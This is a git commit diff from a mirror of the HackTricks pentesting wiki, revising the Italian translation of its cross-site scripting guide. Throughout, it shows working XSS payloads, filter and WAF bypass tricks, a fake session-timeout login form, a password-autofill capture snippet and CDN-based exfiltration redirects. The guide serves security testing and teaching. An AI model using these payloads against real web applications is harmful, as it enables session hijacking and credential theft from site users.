mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['pentesting-web/xss-cross-site-scripting/README.md'] to it
This commit is contained in:
parent
99d4bbcf87
commit
79271ebfec
1 changed files with 75 additions and 57 deletions
|
@ -23,17 +23,17 @@ Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare ci
|
|||
2. Puoi creare nuovi eventi/attributi per eseguire codice JS?
|
||||
3. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
|
||||
4. Puoi eludere le protezioni?
|
||||
3. All'interno del **codice JavaScript**:
|
||||
1. Puoi eludere il tag `<script>`?
|
||||
2. Puoi eludere la stringa ed eseguire diverso codice JS?
|
||||
3. All'interno del codice **JavaScript**:
|
||||
1. Puoi eseguire il tag `<script>`?
|
||||
2. Puoi eseguire la stringa ed eseguire codice JS diverso?
|
||||
3. I tuoi input sono all'interno di template letterali \`\`?
|
||||
4. Puoi eludere le protezioni?
|
||||
4. **Funzione** JavaScript in **esecuzione**
|
||||
4. Funzione **JavaScript** in fase di **esecuzione**
|
||||
1. Puoi indicare il nome della funzione da eseguire. es.: `?callback=alert(1)`
|
||||
4. Se **utilizzato**:
|
||||
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato viene utilizzato da qualche sink**.
|
||||
1. Potresti sfruttare un **DOM XSS**, presta attenzione a come il tuo input è controllato e se il tuo **input controllato è utilizzato da qualche sink**.
|
||||
|
||||
Quando lavori su un XSS complesso potrebbe interessarti sapere di più su:
|
||||
Quando lavori su un XSS complesso potresti trovare interessante sapere di:
|
||||
|
||||
{% content-ref url="debugging-client-side-js.md" %}
|
||||
[debugging-client-side-js.md](debugging-client-side-js.md)
|
||||
|
@ -49,11 +49,11 @@ Per sfruttare con successo un XSS la prima cosa che devi trovare è un **valore
|
|||
|
||||
## Contesti
|
||||
|
||||
Quando cerchi di sfruttare un XSS la prima cosa da sapere è **dove viene riflessa la tua input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
Quando cerchi di sfruttare un XSS la prima cosa che devi sapere è **dove viene riflessa la tua input**. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi diversi.
|
||||
|
||||
### HTML Grezzo
|
||||
|
||||
Se la tua input è **riflessa nell'HTML grezzo** dovrai sfruttare alcuni **tag HTML** per eseguire codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti utilizzare.\
|
||||
Se la tua input è **riflessa nell'HTML grezzo** dovrai sfruttare alcuni **tag HTML** per eseguire il codice JS: `<img , <iframe , <svg , <script` ... questi sono solo alcuni dei molti possibili tag HTML che potresti utilizzare.\
|
||||
Inoltre, tieni presente [Iniezione di Template Lato Client](../client-side-template-injection-csti.md).
|
||||
|
||||
### All'interno dell'attributo dei tag HTML
|
||||
|
@ -62,8 +62,8 @@ Se la tua input è riflessa all'interno del valore dell'attributo di un tag, pot
|
|||
|
||||
1. **Esci dall'attributo e dal tag** (quindi sarai nell'HTML grezzo) e crea un nuovo tag HTML da sfruttare: `"><img [...]`
|
||||
2. Se **puoi uscire dall'attributo ma non dal tag** (`>` è codificato o eliminato), a seconda del tag potresti **creare un evento** che esegue codice JS: `" autofocus onfocus=alert(1) x="`
|
||||
3. Se **non puoi uscire dall'attributo** (`"` è codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se **controlli tutto il valore o solo una parte** potrai sfruttarlo. Ad **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro esempio interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se la tua input è riflessa all'interno di "**tag non esplorabili**" potresti provare il trucco di **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttarlo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
3. Se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), allora a seconda di **quale attributo** riflette il tuo valore e se **controlli tutto il valore o solo una parte** potrai sfruttarlo. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire codice arbitrario quando viene cliccato. Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
4. Se la tua input è riflessa all'interno di "**tag non esplorabili**" potresti provare il trucco **`accesskey`** per sfruttare la vulnerabilità (avrai bisogno di qualche tipo di ingegneria sociale per sfruttare questo): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
||||
```html
|
||||
|
@ -76,12 +76,12 @@ Esempio strano di Angular che esegue XSS se controlli un nome di classe:
|
|||
In questo caso, il tuo input viene riflessato tra i tag **`<script> [...] </script>`** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
|
||||
|
||||
* Se viene riflessato tra i tag **`<script> [...] </script>`**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `</script>` ed uscire da questo contesto. Questo funziona perché il **browser analizzerà prima i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `</script>` iniettato è all'interno del codice HTML.
|
||||
* Se viene riflessato **all'interno di una stringa JS** e il trucco precedente non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
|
||||
* Se viene riflessato **all'interno di una stringa JS** e il trucco precedente non funziona, dovrai **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se ci sono errori, non verranno eseguiti):
|
||||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* Se viene riflessato all'interno di template letterali, puoi **inserire espressioni JS** utilizzando la sintassi `${ ... }`: `` var greetings = `Ciao, ${alert(1)}` ``
|
||||
* L'**encoding Unicode** funziona per scrivere **codice JavaScript valido**:
|
||||
* **La codifica Unicode** funziona per scrivere **codice JavaScript valido**:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
\u0061lert(1)
|
||||
|
@ -122,7 +122,7 @@ Puoi anche provare a **attivare le funzioni Javascript** direttamente: `obj.sale
|
|||
|
||||
Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, **altre pagine nella stessa origine** avranno un **DOM più interessante** per eseguire più azioni.
|
||||
|
||||
Pertanto, per **sfruttare questa vulnerabilità in un diverso DOM** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
|
||||
Pertanto, per **sfruttare questa vulnerabilità in un DOM diverso** è stata sviluppata l'exploit **Same Origin Method Execution (SOME)**:
|
||||
|
||||
{% content-ref url="some-same-origin-method-execution.md" %}
|
||||
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
|
||||
|
@ -130,7 +130,7 @@ Pertanto, per **sfruttare questa vulnerabilità in un diverso DOM** è stata svi
|
|||
|
||||
### DOM
|
||||
|
||||
C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire codice JS arbitrario.
|
||||
C'è del **codice JS** che sta utilizzando in modo **non sicuro** alcuni **dati controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire del codice JS arbitrario.
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
|
@ -156,8 +156,8 @@ Alcuni **esempi**:
|
|||
## Iniezione all'interno di HTML grezzo
|
||||
|
||||
Quando il tuo input viene riflesso **all'interno della pagina HTML** o puoi eseguire l'escape e iniettare codice HTML in questo contesto, la **prima** cosa da fare è controllare se puoi abusare di `<` per creare nuovi tag: Prova semplicemente a **riflettere** quel **carattere** e controlla se viene **codificato in HTML** o **eliminato** oppure se viene **riflesso senza modifiche**. **Solo in quest'ultimo caso sarai in grado di sfruttare questo caso**.\
|
||||
Per questi casi tieni presente anche [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Un commento HTML può essere chiuso usando**** ****`-->`**** ****o**** ****`--!>`**_
|
||||
Per questi casi, tieni presente anche [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
|
||||
_**Nota: Un commento HTML può essere chiuso utilizzando**** ****`-->`**** ****o**** ****`--!>`**_
|
||||
|
||||
In questo caso e se non viene utilizzata alcuna lista nera/lista bianca, potresti utilizzare payload come:
|
||||
```html
|
||||
|
@ -165,22 +165,22 @@ In questo caso e se non viene utilizzata alcuna lista nera/lista bianca, potrest
|
|||
<img src=x onerror=alert(1) />
|
||||
<svg onload=alert('XSS')>
|
||||
```
|
||||
Ma, se viene utilizzato il filtraggio dei tag/attributi black/whitelist, sarà necessario **forzare quali tag** è possibile creare.\
|
||||
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare gli attributi/eventi** all'interno dei tag validi trovati per capire come puoi attaccare il contesto.
|
||||
Ma, se viene utilizzato il blacklisting/whitelisting dei tag/attributi, sarà necessario **forzare a tentativi quali tag** è possibile creare.\
|
||||
Una volta che hai **individuato quali tag sono consentiti**, dovrai **forzare a tentativi attributi/eventi** all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.
|
||||
|
||||
### Forzatura dei tag/eventi
|
||||
### Forzare a tentativi tag/eventi
|
||||
|
||||
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia i tag negli appunti**_. Quindi, inviali tutti utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi **forzare tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia gli eventi negli appunti**_ e segui la stessa procedura come prima).
|
||||
Vai su [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) e clicca su _**Copia tag negli appunti**_. Quindi, invia tutti loro utilizzando Burp intruder e controlla se qualche tag non è stato rilevato come dannoso dal WAF. Una volta scoperti quali tag puoi utilizzare, puoi **forzare a tentativi tutti gli eventi** utilizzando i tag validi (nella stessa pagina web clicca su _**Copia eventi negli appunti**_ e segui la stessa procedura come prima).
|
||||
|
||||
### Tag personalizzati
|
||||
|
||||
Se non hai trovato nessun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, è necessario terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
|
||||
Se non hai trovato alcun tag HTML valido, potresti provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per fare sì che la pagina **si concentri su quell'oggetto** ed **esegua** il codice:
|
||||
```
|
||||
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
|
||||
```
|
||||
### Bypass delle liste nere
|
||||
|
||||
Se viene utilizzata qualche tipo di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
|
||||
Se viene utilizzata una sorta di lista nera, potresti provare a evitarla con alcuni trucchi sciocchi:
|
||||
```javascript
|
||||
//Random capitalization
|
||||
<script> --> <ScrIpT>
|
||||
|
@ -233,17 +233,13 @@ onerror=alert`1`
|
|||
### Bypass della lunghezza (piccoli XSS)
|
||||
|
||||
{% hint style="info" %}
|
||||
**Altri piccoli XSS per ambienti diversi** il payload **può essere trovato qui** e **qui**.
|
||||
**Altri piccoli XSS per ambienti diversi** payload **possono essere trovati qui** e **qui**.
|
||||
```html
|
||||
<!-- Taken from the blog of Jorge Lajara -->
|
||||
<svg/onload=alert``>
|
||||
<script src=//aa.es>
|
||||
<script src=//℡㏛.pw>
|
||||
```
|
||||
L'ultimo consiste nell'utilizzare 2 caratteri unicode che si espandono a 5: telsr\
|
||||
Altri di questi caratteri possono essere trovati [qui](https://www.unicode.org/charts/normalization/).\
|
||||
Per verificare in quali caratteri sono scomposti, controlla [qui](https://www.compart.com/en/unicode/U+2121).
|
||||
|
||||
### Click XSS - Clickjacking
|
||||
|
||||
Se per sfruttare la vulnerabilità è necessario che **l'utente faccia clic su un link o un modulo** con dati precompilati, potresti provare a [**abusare del Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
|
||||
|
@ -257,7 +253,7 @@ Se pensi semplicemente che **sia impossibile creare un tag HTML con un attributo
|
|||
### All'interno del tag/fuga dal valore dell'attributo
|
||||
|
||||
Se ti trovi **all'interno di un tag HTML**, la prima cosa che potresti provare è **fuggire** dal tag e utilizzare alcune delle tecniche menzionate nella [sezione precedente](./#injecting-inside-raw-html) per eseguire codice JS.\
|
||||
Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del tag per cercare di eseguire codice JS, ad esempio utilizzando un payload come (_nota che in questo esempio vengono utilizzate virgolette doppie per fuggire dall'attributo, non ne avrai bisogno se il tuo input viene riflessi direttamente all'interno del tag_):
|
||||
Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del tag per cercare di eseguire codice JS, ad esempio utilizzando un payload come (_nota che in questo esempio vengono utilizzate virgolette doppie per fuggire dall'attributo, non ne avrai bisogno se l'input è riflessa direttamente all'interno del tag_):
|
||||
```bash
|
||||
" autofocus onfocus=alert(document.domain) x="
|
||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||
|
@ -274,10 +270,10 @@ Se **non puoi fuggire dal tag**, potresti creare nuovi attributi all'interno del
|
|||
```
|
||||
### All'interno dell'attributo
|
||||
|
||||
Anche se **non puoi evadere dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflettuto, se **controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=`, sarai in grado di far eseguire del codice arbitrario quando viene cliccato.\
|
||||
Anche se **non puoi evadere dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflettuto se **controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di far eseguire del codice arbitrario quando viene cliccato.\
|
||||
Un altro **esempio** interessante è l'attributo `href`, dove puoi utilizzare il protocollo `javascript:` per eseguire del codice arbitrario: **`href="javascript:alert(1)"`**
|
||||
|
||||
**Bypass all'interno dell'evento usando la codifica HTML/codifica URL**
|
||||
**Bypass all'interno dell'evento utilizzando la codifica HTML/codifica URL**
|
||||
|
||||
I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati in fase di esecuzione**. Pertanto, qualcosa del genere sarà valido (il payload è in grassetto): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Torna Indietro </a>`
|
||||
|
||||
|
@ -431,7 +427,7 @@ Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): È po
|
|||
|
||||
### Blacklist Bypasses
|
||||
|
||||
Sono già state esposte diverse tecniche che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
|
||||
Sono stati già esposti diversi trucchi che utilizzano diverse codifiche all'interno di questa sezione. Torna indietro per imparare dove puoi utilizzare:
|
||||
|
||||
* **Codifica HTML (tag HTML)**
|
||||
* **Codifica Unicode (può essere codice JS valido):** `\u0061lert(1)`
|
||||
|
@ -445,11 +441,11 @@ Leggi i [Bypass della blacklist della sezione precedente](./#blacklist-bypasses)
|
|||
|
||||
**Bypass per codice JavaScript**
|
||||
|
||||
Leggi i [Bypass della blacklist JavaScript della sezione successiva](./#javascript-bypass-blacklists-techniques).
|
||||
Leggi i [Bypass della blacklist di JavaScript della sezione successiva](./#javascript-bypass-blacklists-techniques).
|
||||
|
||||
### CSS-Gadgets
|
||||
|
||||
Se trovi un **XSS in una parte molto piccola** del web che richiede un tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità di far scattare il link.
|
||||
Se trovi un **XSS in una parte molto piccola** del web che richiede un certo tipo di interazione (forse un piccolo link nel piè di pagina con un elemento onmouseover), puoi provare a **modificare lo spazio che l'elemento occupa** per massimizzare le probabilità che il link venga attivato.
|
||||
|
||||
Ad esempio, potresti aggiungere dello stile all'elemento come: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||
|
||||
|
@ -477,7 +473,7 @@ Se il tuo codice è inserito all'interno di `<script> [...] var input = 'dati ri
|
|||
```javascript
|
||||
</script><img src=1 onerror=alert(document.domain)>
|
||||
```
|
||||
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché il **parsing HTML viene eseguito prima dal browser**, il quale identifica gli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente.
|
||||
Nota che in questo esempio **non abbiamo nemmeno chiuso l'apice singolo**. Questo perché il **parsing HTML viene eseguito prima dal browser**, il quale si occupa di identificare gli elementi della pagina, inclusi i blocchi di script. Il parsing di JavaScript per comprendere ed eseguire gli script incorporati viene eseguito solo successivamente.
|
||||
|
||||
### All'interno del codice JS
|
||||
|
||||
|
@ -487,12 +483,12 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
|
|||
';alert(document.domain)//
|
||||
\';alert(document.domain)//
|
||||
```
|
||||
### Stringhe di modello \`\`
|
||||
### Template literals \`\`
|
||||
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche **backticks** **` `` `**. Questo è noto come stringhe di modello poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
|
||||
Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
|
||||
|
||||
Ciò può essere **abusato** utilizzando:
|
||||
Questo può essere **abusato** utilizzando:
|
||||
```javascript
|
||||
`${alert(1)}`
|
||||
`${`${`${`${alert(1)}`}`}`}`
|
||||
|
@ -554,7 +550,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
<TAB>
|
||||
/**/
|
||||
```
|
||||
**Commenti JavaScript (dalla** [**trucco sui Commenti JavaScript**](./#javascript-comments)**)**
|
||||
**Commenti JavaScript (dalla** [**trucco sui Commenti JavaScript**](./#javascript-comments) **)**
|
||||
```javascript
|
||||
//This is a 1 line comment
|
||||
/* This is a multiline comment*/
|
||||
|
@ -562,7 +558,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||||
```
|
||||
**Nuove righe JavaScript (dalla** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines)**)**
|
||||
**Nuove righe JavaScript (dal** [**trucco delle nuove righe JavaScript**](./#javascript-new-lines) **)**
|
||||
```javascript
|
||||
//Javascript interpret as new line these chars:
|
||||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||||
|
@ -732,25 +728,47 @@ top['al\x65rt'](1)
|
|||
top[8680439..toString(30)](1)
|
||||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||||
````
|
||||
## **Vulnerabilità del DOM**
|
||||
## Vulnerabilità del DOM
|
||||
|
||||
C'è del **codice JS** che utilizza **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare ciò per eseguire del codice JS arbitrario.\
|
||||
C'è del **codice JS** che sta utilizzando **dati non sicuri controllati da un attaccante** come `location.href`. Un attaccante potrebbe sfruttare questo per eseguire del codice JS arbitrario.\
|
||||
**A causa dell'estensione della spiegazione delle** [**vulnerabilità del DOM è stata spostata su questa pagina**](dom-xss.md)**:**
|
||||
|
||||
{% content-ref url="dom-xss.md" %}
|
||||
[dom-xss.md](dom-xss.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Lì troverai una **spiegazione dettagliata su cosa sono le vulnerabilità del DOM, come vengono provocate e come sfruttarle**.\
|
||||
Lì troverai una **spiegazione dettagliata di cosa sono le vulnerabilità del DOM, come vengono provocate e come sfruttarle**.\
|
||||
Inoltre, non dimenticare che **alla fine del post menzionato** puoi trovare una spiegazione su [**attacchi di DOM Clobbering**](dom-xss.md#dom-clobbering).
|
||||
|
||||
### Aggiornamento di Self-XSS
|
||||
|
||||
### XSS dei Cookie
|
||||
|
||||
Se puoi innescare un XSS inviando il payload all'interno di un cookie, questo è di solito un self-XSS. Tuttavia, se trovi un **sottodominio vulnerabile all'XSS**, potresti sfruttare questo XSS per iniettare un cookie nell'intero dominio riuscendo a innescare l'XSS del cookie nel dominio principale o in altri sottodomini (quelli vulnerabili all'XSS dei cookie). Per questo puoi utilizzare l'attacco del cookie tossing:
|
||||
|
||||
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %}
|
||||
[cookie-tossing.md](../hacking-with-cookies/cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Puoi trovare un ottimo abuso di questa tecnica in [**questo post del blog**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
|
||||
|
||||
### Inviare la tua sessione all'amministratore
|
||||
|
||||
Forse un utente può condividere il suo profilo con l'amministratore e se il self XSS è presente nel profilo dell'utente e l'amministratore vi accede, attiverà la vulnerabilità.
|
||||
|
||||
### Riflessione della Sessione
|
||||
|
||||
Se trovi qualche self XSS e la pagina web ha una **riflessione della sessione per gli amministratori**, ad esempio permettendo ai clienti di chiedere aiuto e affinché l'amministratore ti aiuti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
|
||||
|
||||
Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi cookie/sessione.
|
||||
|
||||
## Altri Bypass
|
||||
|
||||
### Unicode Normalizzato
|
||||
|
||||
Potresti verificare se i **valori riflessi** vengono **normalizzati in Unicode** sul server (o sul lato client) e sfruttare questa funzionalità per eludere le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting).
|
||||
Potresti verificare se i **valori riflessi** vengono **normalizzati in unicode** sul server (o sul lato client) e sfruttare questa funzionalità per aggirare le protezioni. [**Trova un esempio qui**](../unicode-injection/#xss-cross-site-scripting).
|
||||
|
||||
### Bypass del flag PHP FILTER\_VALIDATE\_EMAIL
|
||||
### Bypass della flag PHP FILTER\_VALIDATE\_EMAIL
|
||||
```javascript
|
||||
"><svg/onload=confirm(1)>"@x.y
|
||||
```
|
||||
|
@ -799,7 +817,7 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS con iniezione di header in una risposta 302
|
||||
|
||||
Se trovi che puoi **iniettare header in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di scripting tra siti è inutile.
|
||||
Se trovi che puoi **iniettare header in una risposta di reindirizzamento 302** potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi solo un payload di cross-site scripting è inutile.
|
||||
|
||||
In [**questo rapporto**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'header Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
|
||||
Protocolli noti: `mailto://`, `//x:1/`, `ws://`, `wss://`, _header Location vuoto_, `resource://`.
|
||||
|
@ -845,7 +863,7 @@ const char* const kSupportedJavascriptTypes[] = {
|
|||
La risposta è:
|
||||
|
||||
* **modulo** (predefinito, niente da spiegare)
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che ti permette di raggruppare una serie di dati (HTML, CSS, JS...) in un unico file **`.wbn`**.
|
||||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles è una funzionalità che ti permette di raggruppare una serie di dati (HTML, CSS, JS...) in un file **`.wbn`**.
|
||||
```html
|
||||
<script type="webbundle">
|
||||
{
|
||||
|
@ -892,7 +910,7 @@ Questo comportamento è stato utilizzato in [**questo articolo**](https://github
|
|||
```
|
||||
### Tipi di contenuto Web per XSS
|
||||
|
||||
(From [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
|
||||
(Tratto da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
|
||||
|
||||
* text/html
|
||||
* application/xhtml+xml
|
||||
|
@ -917,9 +935,9 @@ Se la pagina restituisce un tipo di contenuto text/xml, è possibile indicare un
|
|||
```
|
||||
### Modelli di Sostituzione Speciali
|
||||
|
||||
Quando viene utilizzato qualcosa del tipo **`"alcuni dati {{template}}".replace("{{template}}", <input_utente>)`**. L'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
Quando viene utilizzato qualcosa del tipo **`"alcuni dati {{template}}".replace("{{template}}", <input_utente>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||
|
||||
Ad esempio in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
Ad esempio, in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||
|
||||
### Cache di Chrome per XSS
|
||||
|
||||
|
@ -960,7 +978,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Se **tutto è non definito** prima di eseguire codice non attendibile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice non attendibile:
|
||||
Se **tutto è non definito** prima di eseguire codice non attendibile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice non attendibile arbitrario:
|
||||
|
||||
* Utilizzando import()
|
||||
```javascript
|
||||
|
@ -1065,7 +1083,7 @@ trigger()
|
|||
|
||||
### Trappola Iframe
|
||||
|
||||
Fai in modo che l'utente navighi nella pagina senza uscire da un iframe e ruba le sue azioni (incluso l'invio di informazioni nei moduli):
|
||||
Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (incluso l'invio di informazioni nei moduli):
|
||||
|
||||
{% content-ref url="../iframe-traps.md" %}
|
||||
[iframe-traps.md](../iframe-traps.md)
|
||||
|
@ -1183,7 +1201,7 @@ Consulta l'elenco delle porte vietate in Chrome [**qui**](https://src.chromium.o
|
|||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
### Cattura automatica delle password di auto-compilazione
|
||||
### Cattura automatica delle password
|
||||
```javascript
|
||||
<b>Username:</><br>
|
||||
<input name=username id=username>
|
||||
|
@ -1286,7 +1304,7 @@ Puoi anche utilizzare: [https://xsshunter.com/](https://xsshunter.com)
|
|||
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
|
||||
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
|
||||
```
|
||||
### Regex - Accesso al Contenuto Nascosto
|
||||
### Regex - Accesso a Contenuti Nascosti
|
||||
|
||||
